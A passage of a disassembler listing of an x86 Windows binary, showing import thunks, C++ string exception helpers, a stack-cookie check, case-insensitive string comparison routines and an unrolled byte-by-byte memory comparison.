loc_40AA38:				; CODE XREF: sub_40A506+18Fj
					; sub_40A506+359j ...
		push	64h
		call	ds:off_41E0E0
		cmp	byte_426A40, 0
		jnz	loc_40A532
		push	2710h
		call	ds:off_41E0E0
		jmp	loc_40A532
sub_40A506	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AA5E	proc near		; CODE XREF: .text:00409139p
		jmp	ds:dword_41E1C8
sub_40AA5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AA64	proc near		; CODE XREF: .text:004091D7p
		jmp	ds:dword_41E1C4
sub_40AA64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AA6A	proc near		; CODE XREF: .text:00409109p
					; .text:0040914Cp ...
		jmp	ds:dword_41E1C0
sub_40AA6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AA70	proc near		; CODE XREF: .text:0040915Bp
					; .text:00409249p ...
		jmp	ds:dword_41E1BC
sub_40AA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AA76	proc near		; CODE XREF: .text:0040923Ap
		jmp	ds:dword_41E1B8
sub_40AA76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AA7C	proc near		; CODE XREF: .text:00409332p
		jmp	ds:dword_41E1B0
sub_40AA7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AA82	proc near		; CODE XREF: sub_401000+31Bp
					; sub_4018DF+Ap ...
		jmp	loc_40CC1A
sub_40AA82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA87	proc near		; DATA XREF: r69pu5ti:004218A8o
		mov	dword ptr [ecx], offset	off_41E328
		jmp	sub_401DDD
sub_40AA87	endp

; ---------------------------------------------------------------------------

loc_40AA92:				; DATA XREF: r69pu5ti:off_41E328o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41E328
		call	sub_401DDD
		test	byte ptr [esp+8], 1
		jz	short loc_40AAAE
		push	esi
		call	sub_40CB3C
		pop	ecx

loc_40AAAE:				; CODE XREF: .text:0040AAA5j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40AAB4	proc near		; CODE XREF: sub_4020D9+Dp
		push	44h
		mov	eax, offset sub_41D5F3
		call	sub_40E5CD
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-28h]
		call	sub_4021C2
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401DA8
		push	offset dword_421F60
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41E31C
		call	sub_40E1BC
		int	3		; Trap to Debugger
sub_40AAB4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AAF3	proc near		; CODE XREF: sub_401EE3+13p
					; sub_40204E+Fp
		push	44h
		mov	eax, offset sub_41D5F3
		call	sub_40E5CD
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-28h]
		call	sub_4021C2
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401DA8
		push	offset dword_4218A4
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41E328
		call	sub_40E1BC
		int	3		; Trap to Debugger
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_402188
		mov	dword ptr [esi], offset	off_41E328
		mov	eax, esi
		pop	esi
		retn	4
sub_40AAF3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AB4A	proc near		; CODE XREF: sub_401000+3FFp
					; sub_40140A+178p ...
		cmp	ecx, dword_423068
		jnz	short loc_40AB54
		rep retn
; ---------------------------------------------------------------------------

loc_40AB54:				; CODE XREF: sub_40AB4A+6j
		jmp	sub_40E68F
sub_40AB4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB59	proc near		; CODE XREF: sub_40AC10+Dp
					; sub_40AD33+1Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	byte ptr [esi+0Ch], 0
		jnz	short loc_40ABCB
		call	sub_40F39E
		mov	[esi+8], eax
		mov	ecx, [eax+6Ch]
		mov	[esi], ecx
		mov	ecx, [eax+68h]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		cmp	ecx, off_423678
		jz	short loc_40AB97
		mov	ecx, dword_423594
		test	[eax+70h], ecx
		jnz	short loc_40AB97
		call	sub_40F0B2
		mov	[esi], eax

loc_40AB97:				; CODE XREF: sub_40AB59+2Aj
					; sub_40AB59+35j
		mov	eax, [esi+4]
		cmp	eax, dword_423498
		jz	short loc_40ABB8
		mov	eax, [esi+8]
		mov	ecx, dword_423594
		test	[eax+70h], ecx
		jnz	short loc_40ABB8
		call	sub_40E9A1
		mov	[esi+4], eax

loc_40ABB8:				; CODE XREF: sub_40AB59+47j
					; sub_40AB59+55j
		mov	eax, [esi+8]
		test	byte ptr [eax+70h], 2
		jnz	short loc_40ABD5
		or	dword ptr [eax+70h], 2
		mov	byte ptr [esi+0Ch], 1
		jmp	short loc_40ABD5
; ---------------------------------------------------------------------------

loc_40ABCB:				; CODE XREF: sub_40AB59+Dj
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax

loc_40ABD5:				; CODE XREF: sub_40AB59+66j
					; sub_40AB59+70j
		mov	eax, esi
		pop	esi
		retn	4
sub_40AB59	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ABDB	proc near		; CODE XREF: sub_40AC10+86p
					; sub_40ACE3+39j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_40ABE5:				; CODE XREF: sub_40ABDB+2Ej
		movzx	eax, byte ptr [esi]
		lea	ecx, [eax-41h]
		inc	esi
		cmp	ecx, 19h
		ja	short loc_40ABF4
		add	eax, 20h

loc_40ABF4:				; CODE XREF: sub_40ABDB+14j
		movzx	ecx, byte ptr [edx]
		lea	edi, [ecx-41h]
		inc	edx
		cmp	edi, 19h
		ja	short loc_40AC03
		add	ecx, 20h

loc_40AC03:				; CODE XREF: sub_40ABDB+23j
		test	eax, eax
		jz	short loc_40AC0B
		cmp	eax, ecx
		jz	short loc_40ABE5

loc_40AC0B:				; CODE XREF: sub_40ABDB+2Aj
		pop	edi
		sub	eax, ecx
		pop	esi
		retn
sub_40ABDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_40ACE3+45p
					; sub_418367+8Fp

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40AC57
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40AC4D
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40AC4D:				; CODE XREF: sub_40AC10+34j
		mov	eax, 7FFFFFFFh
		jmp	loc_40ACE0
; ---------------------------------------------------------------------------

loc_40AC57:				; CODE XREF: sub_40AC10+17j
		push	edi
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jnz	short loc_40AC8A
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40AC83
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40AC83:				; CODE XREF: sub_40AC10+6Aj
		mov	eax, 7FFFFFFFh
		jmp	short loc_40ACDF
; ---------------------------------------------------------------------------

loc_40AC8A:				; CODE XREF: sub_40AC10+4Dj
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_40AC9F
		push	edi
		push	[ebp+arg_0]
		call	sub_40ABDB
		pop	ecx
		pop	ecx
		jmp	short loc_40ACD3
; ---------------------------------------------------------------------------

loc_40AC9F:				; CODE XREF: sub_40AC10+80j
		push	esi

loc_40ACA0:				; CODE XREF: sub_40AC10+BCj
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40F65B
		inc	[ebp+arg_0]
		mov	esi, eax
		movzx	eax, byte ptr [edi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40F65B
		add	esp, 10h
		inc	edi
		cmp	esi, ebx
		jz	short loc_40ACCE
		cmp	esi, eax
		jz	short loc_40ACA0

loc_40ACCE:				; CODE XREF: sub_40AC10+B8j
		sub	esi, eax
		mov	eax, esi
		pop	esi

loc_40ACD3:				; CODE XREF: sub_40AC10+8Dj
		cmp	[ebp+var_4], bl
		jz	short loc_40ACDF
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_40ACDF:				; CODE XREF: sub_40AC10+78j
					; sub_40AC10+C6j
		pop	edi

loc_40ACE0:				; CODE XREF: sub_40AC10+42j
		pop	ebx
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACE3	proc near		; CODE XREF: sub_401000+2C6p
					; sub_403249+26Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_425E60, esi
		jnz	short loc_40AD21
		cmp	[ebp+arg_0], esi
		jnz	short loc_40AD15

loc_40ACF6:				; CODE XREF: sub_40ACE3+35j
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		mov	eax, 7FFFFFFFh
		jmp	short loc_40AD30
; ---------------------------------------------------------------------------

loc_40AD15:				; CODE XREF: sub_40ACE3+11j
		cmp	[ebp+arg_4], esi
		jz	short loc_40ACF6
		pop	esi
		pop	ebp
		jmp	sub_40ABDB
; ---------------------------------------------------------------------------

loc_40AD21:				; CODE XREF: sub_40ACE3+Cj
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AC10
		add	esp, 0Ch

loc_40AD30:				; CODE XREF: sub_40ACE3+30j
		pop	esi
		pop	ebp
		retn
sub_40ACE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD33	proc near		; CODE XREF: sub_40AE23+51p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		jz	loc_40AE1C
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40AD85

loc_40AD57:				; CODE XREF: sub_40AD33+57j
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40AD7B
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40AD7B:				; CODE XREF: sub_40AD33+3Fj
		mov	eax, 7FFFFFFFh
		jmp	loc_40AE1E
; ---------------------------------------------------------------------------

loc_40AD85:				; CODE XREF: sub_40AD33+22j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jz	short loc_40AD57
		mov	esi, 7FFFFFFFh
		cmp	[ebp+arg_8], esi
		jbe	short loc_40ADBE
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40ADBA
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40ADBA:				; CODE XREF: sub_40AD33+7Ej
		mov	eax, esi
		jmp	short loc_40AE1E
; ---------------------------------------------------------------------------

loc_40ADBE:				; CODE XREF: sub_40AD33+61j
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_40ADE3
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_40F820
		add	esp, 0Ch

loc_40ADD5:				; CODE XREF: sub_40AD33+E7j
		cmp	[ebp+var_4], bl
		jz	short loc_40AE1E
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_40AE1E
; ---------------------------------------------------------------------------

loc_40ADE3:				; CODE XREF: sub_40AD33+91j
					; sub_40AD33+E1j
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40F65B
		inc	[ebp+arg_0]
		mov	esi, eax
		movzx	eax, byte ptr [edi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_40F65B
		add	esp, 10h
		inc	edi
		dec	[ebp+arg_8]
		jz	short loc_40AE16
		cmp	esi, ebx
		jz	short loc_40AE16
		cmp	esi, eax
		jz	short loc_40ADE3

loc_40AE16:				; CODE XREF: sub_40AD33+D9j
					; sub_40AD33+DDj
		sub	esi, eax
		mov	eax, esi
		jmp	short loc_40ADD5
; ---------------------------------------------------------------------------

loc_40AE1C:				; CODE XREF: sub_40AD33+Ej
		xor	eax, eax

loc_40AE1E:				; CODE XREF: sub_40AD33+4Dj
					; sub_40AD33+89j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE23	proc near		; CODE XREF: sub_40140A+E0p
					; sub_40158F+143p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_425E60, esi
		jnz	short loc_40AE6A
		cmp	[ebp+arg_0], esi
		jnz	short loc_40AE55

loc_40AE36:				; CODE XREF: sub_40AE23+35j
					; sub_40AE23+3Ej
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		mov	eax, 7FFFFFFFh
		jmp	short loc_40AE7C
; ---------------------------------------------------------------------------

loc_40AE55:				; CODE XREF: sub_40AE23+11j
		cmp	[ebp+arg_4], esi
		jz	short loc_40AE36
		cmp	[ebp+arg_8], 7FFFFFFFh
		ja	short loc_40AE36
		pop	esi
		pop	ebp
		jmp	sub_40F820
; ---------------------------------------------------------------------------

loc_40AE6A:				; CODE XREF: sub_40AE23+Cj
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AD33
		add	esp, 10h

loc_40AE7C:				; CODE XREF: sub_40AE23+30j
		pop	esi
		pop	ebp
		retn
sub_40AE23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE7F	proc near		; CODE XREF: sub_4018DF+63p
					; sub_401BBC+41p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	eax, edi
		sub	eax, 0
		jz	loc_40C477
		dec	eax
		jz	loc_40C466
		dec	eax
		jz	loc_40C438
		dec	eax
		jz	loc_40C3F0
		dec	eax
		jz	loc_40C367
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	ebx
		push	20h
		pop	edx
		jmp	loc_40B32F
; ---------------------------------------------------------------------------

loc_40AEBD:				; CODE XREF: sub_40AE7F+4B2j
		mov	esi, [eax]
		cmp	esi, [ecx]
		jz	short loc_40AF3F
		movzx	esi, byte ptr [eax]
		movzx	ebx, byte ptr [ecx]
		sub	esi, ebx
		jz	short loc_40AEE2
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40AEE2:				; CODE XREF: sub_40AE7F+4Cj
		movzx	esi, byte ptr [eax+1]
		movzx	ebx, byte ptr [ecx+1]
		sub	esi, ebx
		jz	short loc_40AF03
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40AF03:				; CODE XREF: sub_40AE7F+6Dj
		movzx	esi, byte ptr [eax+2]
		movzx	ebx, byte ptr [ecx+2]
		sub	esi, ebx
		jz	short loc_40AF24
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40AF24:				; CODE XREF: sub_40AE7F+8Ej
		movzx	esi, byte ptr [eax+3]
		movzx	ebx, byte ptr [ecx+3]
		sub	esi, ebx
		jz	short loc_40AF41
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40AF41
; ---------------------------------------------------------------------------

loc_40AF3F:				; CODE XREF: sub_40AE7F+42j
		xor	esi, esi

loc_40AF41:				; CODE XREF: sub_40AE7F+AFj
					; sub_40AE7F+BEj
		test	esi, esi
		jnz	loc_40B34B
		mov	esi, [eax+4]
		cmp	esi, [ecx+4]
		jz	short loc_40AFCF
		movzx	esi, byte ptr [eax+4]
		movzx	ebx, byte ptr [ecx+4]
		sub	esi, ebx
		jz	short loc_40AF72
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40AF72:				; CODE XREF: sub_40AE7F+DCj
		movzx	esi, byte ptr [eax+5]
		movzx	ebx, byte ptr [ecx+5]
		sub	esi, ebx
		jz	short loc_40AF93
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40AF93:				; CODE XREF: sub_40AE7F+FDj
		movzx	esi, byte ptr [eax+6]
		movzx	ebx, byte ptr [ecx+6]
		sub	esi, ebx
		jz	short loc_40AFB4
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40AFB4:				; CODE XREF: sub_40AE7F+11Ej
		movzx	esi, byte ptr [eax+7]
		movzx	ebx, byte ptr [ecx+7]
		sub	esi, ebx
		jz	short loc_40AFD1
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40AFD1
; ---------------------------------------------------------------------------

loc_40AFCF:				; CODE XREF: sub_40AE7F+D0j
		xor	esi, esi

loc_40AFD1:				; CODE XREF: sub_40AE7F+13Fj
					; sub_40AE7F+14Ej
		test	esi, esi
		jnz	loc_40B34B
		mov	esi, [eax+8]
		cmp	esi, [ecx+8]
		jz	short loc_40B05F
		movzx	esi, byte ptr [eax+8]
		movzx	ebx, byte ptr [ecx+8]
		sub	esi, ebx
		jz	short loc_40B002
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B002:				; CODE XREF: sub_40AE7F+16Cj
		movzx	esi, byte ptr [eax+9]
		movzx	ebx, byte ptr [ecx+9]
		sub	esi, ebx
		jz	short loc_40B023
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B023:				; CODE XREF: sub_40AE7F+18Dj
		movzx	esi, byte ptr [eax+0Ah]
		movzx	ebx, byte ptr [ecx+0Ah]
		sub	esi, ebx
		jz	short loc_40B044
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B044:				; CODE XREF: sub_40AE7F+1AEj
		movzx	esi, byte ptr [eax+0Bh]
		movzx	ebx, byte ptr [ecx+0Bh]
		sub	esi, ebx
		jz	short loc_40B061
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B061
; ---------------------------------------------------------------------------

loc_40B05F:				; CODE XREF: sub_40AE7F+160j
		xor	esi, esi

loc_40B061:				; CODE XREF: sub_40AE7F+1CFj
					; sub_40AE7F+1DEj
		test	esi, esi
		jnz	loc_40B34B
		mov	esi, [eax+0Ch]
		cmp	esi, [ecx+0Ch]
		jz	short loc_40B0EF
		movzx	esi, byte ptr [eax+0Ch]
		movzx	ebx, byte ptr [ecx+0Ch]
		sub	esi, ebx
		jz	short loc_40B092
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B092:				; CODE XREF: sub_40AE7F+1FCj
		movzx	esi, byte ptr [eax+0Dh]
		movzx	ebx, byte ptr [ecx+0Dh]
		sub	esi, ebx
		jz	short loc_40B0B3
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B0B3:				; CODE XREF: sub_40AE7F+21Dj
		movzx	esi, byte ptr [eax+0Eh]
		movzx	ebx, byte ptr [ecx+0Eh]
		sub	esi, ebx
		jz	short loc_40B0D4
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B0D4:				; CODE XREF: sub_40AE7F+23Ej
		movzx	esi, byte ptr [eax+0Fh]
		movzx	ebx, byte ptr [ecx+0Fh]
		sub	esi, ebx
		jz	short loc_40B0F1
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B0F1
; ---------------------------------------------------------------------------

loc_40B0EF:				; CODE XREF: sub_40AE7F+1F0j
		xor	esi, esi

loc_40B0F1:				; CODE XREF: sub_40AE7F+25Fj
					; sub_40AE7F+26Ej
		test	esi, esi
		jnz	loc_40B34B
		mov	esi, [eax+10h]
		cmp	esi, [ecx+10h]
		jz	short loc_40B17F
		movzx	ebx, byte ptr [ecx+10h]
		movzx	esi, byte ptr [eax+10h]
		sub	esi, ebx
		jz	short loc_40B122
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B122:				; CODE XREF: sub_40AE7F+28Cj
		movzx	esi, byte ptr [eax+11h]
		movzx	ebx, byte ptr [ecx+11h]
		sub	esi, ebx
		jz	short loc_40B143
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B143:				; CODE XREF: sub_40AE7F+2ADj
		movzx	esi, byte ptr [eax+12h]
		movzx	ebx, byte ptr [ecx+12h]
		sub	esi, ebx
		jz	short loc_40B164
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B164:				; CODE XREF: sub_40AE7F+2CEj
		movzx	esi, byte ptr [eax+13h]
		movzx	ebx, byte ptr [ecx+13h]
		sub	esi, ebx
		jz	short loc_40B181
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B181
; ---------------------------------------------------------------------------

loc_40B17F:				; CODE XREF: sub_40AE7F+280j
		xor	esi, esi

loc_40B181:				; CODE XREF: sub_40AE7F+2EFj
					; sub_40AE7F+2FEj
		test	esi, esi
		jnz	loc_40B34B
		mov	esi, [eax+14h]
		cmp	esi, [ecx+14h]
		jz	short loc_40B20F
		movzx	esi, byte ptr [eax+14h]
		movzx	ebx, byte ptr [ecx+14h]
		sub	esi, ebx
		jz	short loc_40B1B2
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B1B2:				; CODE XREF: sub_40AE7F+31Cj
		movzx	esi, byte ptr [eax+15h]
		movzx	ebx, byte ptr [ecx+15h]
		sub	esi, ebx
		jz	short loc_40B1D3
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B1D3:				; CODE XREF: sub_40AE7F+33Dj
		movzx	esi, byte ptr [eax+16h]
		movzx	ebx, byte ptr [ecx+16h]
		sub	esi, ebx
		jz	short loc_40B1F4
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B1F4:				; CODE XREF: sub_40AE7F+35Ej
		movzx	esi, byte ptr [eax+17h]
		movzx	ebx, byte ptr [ecx+17h]
		sub	esi, ebx
		jz	short loc_40B211
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B211
; ---------------------------------------------------------------------------

loc_40B20F:				; CODE XREF: sub_40AE7F+310j
		xor	esi, esi

loc_40B211:				; CODE XREF: sub_40AE7F+37Fj
					; sub_40AE7F+38Ej
		test	esi, esi
		jnz	loc_40B34B
		mov	esi, [eax+18h]
		cmp	esi, [ecx+18h]
		jz	short loc_40B29F
		movzx	esi, byte ptr [eax+18h]
		movzx	ebx, byte ptr [ecx+18h]
		sub	esi, ebx
		jz	short loc_40B242
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B242:				; CODE XREF: sub_40AE7F+3ACj
		movzx	esi, byte ptr [eax+19h]
		movzx	ebx, byte ptr [ecx+19h]
		sub	esi, ebx
		jz	short loc_40B263
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B263:				; CODE XREF: sub_40AE7F+3CDj
		movzx	esi, byte ptr [eax+1Ah]
		movzx	ebx, byte ptr [ecx+1Ah]
		sub	esi, ebx
		jz	short loc_40B284
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40B34B

loc_40B284:				; CODE XREF: sub_40AE7F+3EEj
		movzx	esi, byte ptr [eax+1Bh]
		movzx	ebx, byte ptr [ecx+1Bh]
		sub	esi, ebx
		jz	short loc_40B2A1
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B2A1
; ---------------------------------------------------------------------------

loc_40B29F:				; CODE XREF: sub_40AE7F+3A0j
		xor	esi, esi

loc_40B2A1:				; CODE XREF: sub_40AE7F+40Fj
					; sub_40AE7F+41Ej
		test	esi, esi
		jnz	loc_40B34B
		mov	esi, [eax+1Ch]
		cmp	esi, [ecx+1Ch]
		jz	short loc_40B323
		movzx	esi, byte ptr [eax+1Ch]
		movzx	ebx, byte ptr [ecx+1Ch]
		sub	esi, ebx
		jz	short loc_40B2CE
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40B34B

loc_40B2CE:				; CODE XREF: sub_40AE7F+43Cj
		movzx	esi, byte ptr [eax+1Dh]
		movzx	ebx, byte ptr [ecx+1Dh]
		sub	esi, ebx
		jz	short loc_40B2EB
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40B34B

loc_40B2EB:				; CODE XREF: sub_40AE7F+459j
		movzx	esi, byte ptr [eax+1Eh]
		movzx	ebx, byte ptr [ecx+1Eh]
		sub	esi, ebx
		jz	short loc_40B308
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40B34B

